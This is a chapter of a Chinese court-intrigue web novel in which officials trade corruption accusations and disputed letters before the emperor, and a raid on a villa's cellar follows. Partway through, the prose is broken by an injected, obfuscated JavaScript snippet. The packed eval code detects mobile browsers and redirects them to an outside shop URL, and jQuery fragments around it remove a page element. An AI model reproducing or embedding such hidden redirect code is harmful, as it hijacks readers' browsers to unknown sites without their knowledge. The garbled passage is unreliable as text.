第210章 证据确凿

作品:《开局捉奸,傍上权臣好孕来

    “回皇上,绝无此事。我霍家还没穷到揭不开锅,需要**才能度日。”霍鹏程否认得没有半点心虚。


    “霍尚书,你是没有**,但你儿子这次利用赈灾的机会行**之事。谁人不知,你霍家去年嫁女把家底都掏空了。


    我们几个都有所察觉,并暗中做了记录,休想狡辩。


    而且王大人,李大人还受你指使,为霍舍人行方便之门,证据确凿。”谢勋怒目道。


    “证据?本官什么都没做过,哪里来的证据?


    皇上,这几个月来,微臣兢兢业业,把全部精力都用在赈灾上。


    每日看到灾民食不果腹,心痛难忍,真想把一斤粮掰成两斤,让所有人都能吃饱。


    还有,我们挖的井,微臣全程监督,真想每口井挖下去都能出水。


    皇上,您看看微臣的脸,比出发前整整黑了好几倍,微臣每日在外奔波,却被人如此污蔑,还请皇上明鉴。”霍鸣羡立刻辩解。


    他眼神扫了谢勋一眼,含着讥讽。


    “哼,你少在皇上面前狡辩。证据就在皇上手里。”谢勋哪容他辩解。


    乾德帝让林德全把几人提供的证据给霍鹏程父子看。


    当霍鹏程看到那几张字条时,怔了怔,果然和他写的字一模一样。


    真是一绝啊。


    “皇上,臣从没写过这样的字条。这是有人模仿臣的笔迹写的。”霍鹏程直言道。


    “霍鹏程,你自己写的字你自己都不认识吗?谁能把一个人的字模仿得如此像?


    你狡辩也没用,我们手里的证据不单单这些。


    十年前你外任知府,就收**赂,还**灭口。”谢勋提起他以前的事。


    他今日势要把霍家送进大牢,就算皇上要从轻发落,也要让他丢官,抄家。


    “简直一派胡言。今日你要是拿不出证据,别怪本官告你污蔑之罪。”霍鹏程冷冷盯着谢勋。


    “皇上,臣的儿媳妇**手里有当年她父亲留下的一些书信,是最有力的证据。”谢勋向乾德帝一拱手。


    “带**。”乾德帝淡淡吩咐,他一直冷眼看谢勋与霍家人相互攀咬。


    今日这事明显透着古怪。


    他又扫了赵炳煜一眼,见侄儿没有急着为霍家人说话,而且脸上也没有半丝焦急之色,他心里就有底了。


    这事应该是针对霍家的一个阴谋。


    他倒要看看,这个阴谋的最终结果。


    江宁和谢正阳一起来的。他们早就在宫门外等着了。


    “参见皇上。”两人跪地。


    “**,刚才忠义伯说你手里有当年霍尚书收**赂的证据?”乾德帝问。


    “回皇上,是。臣妇的父亲当年是霍尚书的师爷,私下帮他处理不少私事,留下了一些证据,请皇上过目。”江宁从怀里拿出几封明显发黄了的信。


    乾德帝一封封看过。


    “霍鹏程,这几封里,有两封是当年一个叫黄世兴的盐商写给你的信。


    信中提到他给你三万两银子,而你只需睁一只眼闭一只眼,让他贩卖私盐。


    还有一封是你向他索要五万两银子才肯行这个方便。可有此事?”


    “皇上,这简直就是无中生有。


    那盐商确实有**之举,但被臣给拒绝得十分干脆,而且臣还查到他贩卖私盐多年,准备把他绳之以法。


    而就是那一次,他带了不少人手,想要把臣和臣带去的人手全都杀了。


    幸好臣留了后手,请动地方军,来个一网打尽。


    当时那一仗确实凶险,臣带去的师爷帮臣挡了一刀,后来救治不及,去了。


    臣愧对于他,才把他的妻女接进霍家照顾,让她们无后顾之忧。


    臣没想到**母女竟然不知感恩,还怀恨在心,捏**证。”霍鹏程把前因后果都讲得清清楚楚。


    “义父,你胡说,你就是贪得无厌,才引来杀身之祸,才因此害我父亲惨死。这些书信就是证据。”江宁嘶叫着哭诉道。


    乾德帝又把那些书信给霍鹏程看。


    “皇上,这封书信,臣从来没写过。而且臣当年可是状元之才,写信不可能这么直白。这明显就是有人模仿臣的笔迹写了这封信。”霍鹏程否认。


    “曹达,此事你怎么看?”乾德帝问一直旁观的刑部尚书。


    “回皇上,单凭这些书信的确能定霍尚书收**赂之罪,但从语句来看,确实不太像霍尚书所写。


    他说得没错,当年的状元,写信也很讲究的,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16867497|190553||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    不大可能这么直白。


    不过这只是臣的猜测,如果要确定此事,需得去当年霍尚书任职的州府细查一番,方能定罪。”曹达说得很公正,证据还不够充足。


    “皇上,臣有事启凑。”这时,谢正阳突然出声。


    “你说。”


    “臣作为巡城司使,一向尽职尽责。臣最近一个多月来,发现有可疑车辆进出霍家在城东的一处别院。


    有两次臣见那马车拉得十分吃力,不知道什么东西。后来收到父亲的来信,才知道霍舍人居然贪墨赈灾银。


    臣一下就想到那拉得吃力的马车,很有可能就是拉的银子。


    十日前,臣晚上偷偷潜入那别院去查探,当真发现了赃银被藏在地窖里。粗略估计,有三十万两之多。”谢正阳说得有鼻子有眼。


    “简直胡说八道。三十万两,你是怎么编出来的?”霍鸣羡气得一声怒骂。


    “皇上,臣句句属实。”谢正阳半点不惧霍鸣羡的怒气。


    “既然你十天前就发现异常,为何今日才说出来?”乾德帝质问。


    “回皇上,臣怕霍家不认账,只能等父亲带着证据回来,才能让霍家无可辩驳。”谢正阳的理由很合常理。


    “赵玉麟,带人去查霍家别院,如若真有三十万两银子,带进宫来,作为谢正阳所说之事的证据。”乾德帝命令道。


    “皇上,臣愿同往。”谢正阳请旨。


    乾德帝挥了挥手。


    心里却在想,要真能带进宫三十万两银子,这个案子就有意思了。


    如果霍鸣羡是冤枉的,那么贪墨的就另有其人,是谁?


    乾德帝扫了谢勋一眼。


    谢正阳带着赵玉麟来到霍家在城东的别院,这个别院是容华芝的嫁妆。


    这里是霍家的一个绣庄,里面有几十个女子在里面做衣服,为霍家的成衣铺子供货。


    每日下午申时末放工。


    当一群官兵冲进来时,把女人们都吓得停下手里的活,相互挤到一起。


    管事的上前交涉,却被谢正阳推到一边。


    谢正阳二话不说带着赵玉麟走向别院的地窖,似乎他来过多次,熟门熟路。


    只是当他打开地窖的门时,直接傻眼......